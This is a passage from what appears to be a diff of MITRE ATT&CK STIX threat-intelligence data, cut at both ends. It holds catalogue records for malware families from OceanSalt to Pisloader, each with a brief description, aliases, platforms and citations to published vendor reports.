[APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)", + "id": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "external_references": [ + { + "external_id": "S0346", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0346" + }, + { + "source_name": "OceanSalt", + "description": "(Citation: McAfee Oceansalt Oct 2018)" + }, + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-02-12T21:14:11.002Z", + "type": "malware", + "created": "2019-01-30T15:43:19.105Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "OceanSalt", + "x_mitre_aliases": [ + "OceanSalt" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan.(Citation: Securelist Octopus Oct 2018)", + "id": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "external_references": [ + { + "external_id": "S0340", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0340" + }, + { + "source_name": "Octopus", + "description": "(Citation: Securelist Octopus Oct 2018)" + }, + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-30T13:24:08.617Z", + "type": "malware", + "created": "2019-01-30T13:24:08.616Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Octopus", + "x_mitre_aliases": [ + "Octopus" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018) ", + "id": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "external_references": [ + { + "external_id": "S0365", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0365" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-30T23:07:53.854Z", + "type": "malware", + "created": "2019-03-25T14:07:22.547Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Olympic Destroyer", + "x_mitre_aliases": [ + "Olympic Destroyer" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)", + "id": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", + "external_references": [ + { + "external_id": "S0052", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0052" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:37.341Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OnionDuke", + "x_mitre_aliases": [ + "OnionDuke" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)", + "id": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "external_references": [ + { + "external_id": "S0264", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0264" + }, + { + "source_name": "OopsIE", + "description": "(Citation: Unit 42 OopsIE! Feb 2018) (Citation: Unit 42 OilRig Sept 2018)" + }, + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:40:23.257Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OopsIE", + "x_mitre_aliases": [ + "OopsIE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", + "id": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "external_references": [ + { + "external_id": "S0229", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0229" + }, + { + "source_name": "AIRBREAK", + "description": "(Citation: FireEye Periscope March 2018)" + }, + { + "source_name": "Orz", + "description": "(Citation: Proofpoint Leviathan Oct 2017)" + }, + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Orz", + "x_mitre_aliases": [ + "AIRBREAK", + "Orz" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)", + "id": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "external_references": [ + { + "external_id": "S0072", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0072" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:47.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OwaAuth", + "x_mitre_aliases": [ + "OwaAuth" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)", + "id": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85", + "external_references": [ + { + "external_id": "S0016", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0016" + }, + { + "source_name": "Dell P2P ZeuS", + "description": "SecureWorks. (2013). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:16.715Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "P2P ZeuS", + "x_mitre_aliases": [ + "P2P ZeuS", + "Peer-to-Peer ZeuS", + "Gameover ZeuS" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", + "id": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "external_references": [ + { + "external_id": "S0158", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0158" + }, + { + "source_name": "PHOREAL", + "description": "(Citation: FireEye APT32 May 2017)" + }, + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PHOREAL", + "x_mitre_aliases": [ + "PHOREAL" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)", + "id": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "external_references": [ + { + "external_id": "S0254", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0254" + }, + { + "source_name": "PLAINTEE", + "description": "(Citation: Rancor Unit42 June 2018)" + }, + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PLAINTEE", + "x_mitre_aliases": [ + "PLAINTEE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)", + "id": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "external_references": [ + { + "external_id": "S0216", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0216" + }, + { + "source_name": "POORAIM", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "POORAIM", + "x_mitre_aliases": [ + "POORAIM" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)", + "id": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "external_references": [ + { + "external_id": "S0150", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0150" + }, + { + "source_name": "POSHSPY", + "description": "(Citation: FireEye POSHSPY April 2017)" + }, + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:41:39.925Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "POSHSPY", + "x_mitre_aliases": [ + "POSHSPY" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)", + "id": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "external_references": [ + { + "external_id": "S0145", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0145" + }, + { + "source_name": "POWERSOURCE", + "description": "(Citation: FireEye FIN7 March 2017)" + }, + { + "source_name": "DNSMessenger", + "description": "Based on similar descriptions of functionality, it appears S0145, as named by FireEye, is the same as the first stages of a backdoor named DNSMessenger by Cisco's Talos Intelligence Group. However, FireEye appears to break DNSMessenger into two parts: S0145 and S0146. (Citation: Cisco DNSMessenger March 2017) (Citation: FireEye FIN7 March 2017)" + }, + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "Cisco DNSMessenger March 2017", + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "POWERSOURCE", + "x_mitre_aliases": [ + "POWERSOURCE", + "DNSMessenger" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)", + "id": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "external_references": [ + { + "external_id": "S0223", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0223" + }, + { + "source_name": "POWERSTATS", + "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: ClearSky MuddyWater Nov 2018)" + }, + { + "source_name": "Powermud", + "description": "(Citation: Symantec MuddyWater Dec 2018)" + }, + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-22T22:36:52.629Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "POWERSTATS", + "x_mitre_aliases": [ + "POWERSTATS", + "Powermud" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)", + "id": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "external_references": [ + { + "external_id": "S0371", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0371" + }, + { + "source_name": "FireEye APT33 Guardrail", + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-22T19:59:21.380Z", + "type": "malware", + "created": "2019-04-16T17:43:42.724Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "POWERTON", + "x_mitre_aliases": [ + "POWERTON" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)", + "id": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "external_references": [ + { + "external_id": "S0184", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0184" + }, + { + "source_name": "POWRUNER", + "description": "(Citation: FireEye APT34 Dec 2017)" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "POWRUNER", + "x_mitre_aliases": [ + "POWRUNER" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "id": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "external_references": [ + { + "external_id": "S0196", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0196" + }, + { + "source_name": "PUNCHBUGGY", + "description": "(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)" + }, + { + "source_name": "ShellTea", + "description": "(Citation: Morphisec ShellTea June 2019)" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + }, + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-28T20:48:52.186Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PUNCHBUGGY", + "x_mitre_aliases": [ + "PUNCHBUGGY", + "ShellTea" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "id": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "external_references": [ + { + "external_id": "S0197", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0197" + }, + { + "source_name": "PUNCHTRACK", + "description": "(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)" + }, + { + "source_name": "PSVC", + "description": "(Citation: FireEye Know Your Enemy FIN8 Aug 2016)" + }, + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PUNCHTRACK", + "x_mitre_aliases": [ + "PUNCHTRACK", + "PSVC" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)", + "id": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "external_references": [ + { + "external_id": "S0208", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0208" + }, + { + "source_name": "Pasam", + "description": "(Citation: Symantec Pasam May 2012)" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Pasam", + "x_mitre_aliases": [ + "Pasam" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)", + "id": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "external_references": [ + { + "external_id": "S0048", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0048" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:35.780Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PinchDuke", + "x_mitre_aliases": [ + "PinchDuke" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)", + "id": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "external_references": [ + { + "external_id": "S0124", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0124" + }, + { + "source_name": "Pisloader", + "description": "(Citation: Palo Alto DNS Requests)" + }, + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + 